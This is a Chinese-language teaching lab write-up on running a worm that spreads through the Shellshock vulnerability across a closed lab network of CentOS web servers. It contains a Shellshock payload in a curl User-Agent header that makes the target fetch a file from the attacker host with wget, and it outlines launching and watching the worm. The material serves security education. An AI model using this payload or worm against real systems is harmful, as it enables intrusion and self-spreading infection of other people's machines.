基于破壳漏洞的蠕虫实践

2021/10/15 23:45:16

本文主要是介绍基于破壳漏洞的蠕虫实践,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

实验简介

实验所属系列:操作系统安全

实验对象:本科/专科信息安全专业

相关课程及专业:信息网络安全概论

实验时数(学分):4学时

实验类别:实践实验类

预备知识

破壳漏洞的原理与利用

参考实验《破壳漏洞实践》,链接:

https://www.hetianlab.com/expc.do?ec=ECID172.19.105.222014092915250400001

蠕虫简介

蠕虫定义:一种能够利用系统漏洞通过网络进行自我传播的恶意程序。它不需要附着在其他程序上,而是独立存在的。当形成规模、传播速度过快时会极大地消耗网络资源导致大面积网络拥塞甚至瘫痪。

计算机蠕虫与计算机病毒相似,是一种能够自我复制的计算机程序。

与计算机病毒不同的是,计算机蠕虫不需要附在别的程序内,可能不用使用者介入操作也能自我复制或执行。它是直接在主机之间的内存中进行传播的。计算机蠕虫未必会直接破坏被感染的系统,却几乎都对网络有害。计算机蠕虫可能会执行垃圾代码以发动分散式阻断服务攻击,令计算机的执行效率极大程度降低,从而影响计算机的正常使用;可能会损毁或修改目标计算机的档案;亦可能只是浪费带宽。(恶意的)计算机蠕虫可根据其目的分成2类:

一类是面对大规模计算机网络发动拒绝服务的计算机蠕虫。

另一类是针对个人用户的执行大量垃圾代码的计算机蠕虫。

本次实验蠕虫简介

本次实验使用的蠕虫,是根据github上名为ShockWorm的蠕虫(项目地址:https://github.com/matlink/ShockWorm/blob/master/shellshock.pl)改编而成。改动有以下几点:

1.原蠕虫只感染一台主机,本实验蠕虫扩大了范围,使其真正拥有了蠕动性,可以自行传播(限制了蠕动范围)。

2.原蠕虫在感染主机后会修改系统文件,并且截获执行sudo命令时输入的口令。本实验蠕虫删除了此功能,在感染与完成传播之后,仅执行sleep操作。

实验目的

1)通过该实验了解蠕虫的基本特征

2)掌握蠕虫的传播方式及使用方法

3)能够改进蠕虫的功能

实验环境

蠕虫发起者:centos6.5,IP地址:10.1.1.231

Worm1:centos6.5(web服务器),1号被感染主机,IP地址:10.1.1.12

Worm2:centos6.5(web服务器),2号被感染主机 ,IP地址10.1.1.x(x随机)

实验步骤一

本实验分为三个任务:

任务一:判断10.1.1.12主机web服务的test.cgi是否存在破壳漏洞;

任务二:蠕虫发起者执行蠕虫程序,感染1号主机Worm1;

任务三:观察Worm1主机蠕虫的传播过程,检查Worm2主机是否被感染。

任务描述:判断10.1.1.12主机web服务的test.cgi是否存在破壳漏洞

1.使用ssh登录蠕虫发起者主机(10.1.1.231),执行下面三条命令。命令执行结果如下图所示。

[root@worm-master ~]# tail /var/log/httpd/access_log

[root@worm-master ~]# curl -A “() { :; }; /usr/bin/wget http://10.1.1.231/shock” http://10.1.1.12/test.cgi

[root@worm-master ~]# tail /var/log/httpd/access_log

 

 

 2、根据最后一条命令的结果,蠕虫发起者主机(10.1.1.231)的web日志中出现了worm1的访问记录,说明worm1主机(10.1.1.12)存在破壳漏洞。

 

2)蠕虫发起者执行蠕虫程序,感染1号主机Worm1

 1、为了避免自身被感染,向蠕虫表明自己是发起者的身份,我们需要登录10.1.1.231主机,通过下面的命令创建一个文件。

  [root@worm-master ~]# touch /tmp/key.txt

 2、继续在10.1.1.231上执行下面的命令,可以找到蠕虫程序。

  [root@worm-master shockworm]# cd /root/shockworm/

  [root@worm-master shockworm]# ls

  

 3、登录worm1,查看/tmp目录。

  

  4、继续返回10.1.1.231主机,执行下面的命令,来运行蠕虫程序。

  

  5、登录worm1,执行下面的命令,观察被感染的特征。

  

   通过对比/tmp目录可以发现,Worm1已经被感染了shockworm蠕虫程序。

 

3)观察Worm1主机蠕虫的传播过程,检查Worm2主机是否被感染

 1、登录Worm1(10.1.1.12),不断的执行命令:“ps aux |grep curl”可以看到蠕虫的传播过程,被感染的Worm1通过agent.1337进程,不断的向同网段的其他主机发起攻击与感染。如下所示:

  

  从上面命令的执行结果,可以看出,蠕虫正在攻击10.1.1.158和10.1.1.160。

 2、经过一段时间之后(大约10分钟),登录Worm2。同样使用命令:”ls -al /tmp”查看,可以发现主机也被此蠕虫感染。对比效果如下图:

  

  

    OCT 14 20:13时,tmp目录下产生了感染文件。



这篇关于基于破壳漏洞的蠕虫实践的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!


扫一扫关注最新编程教程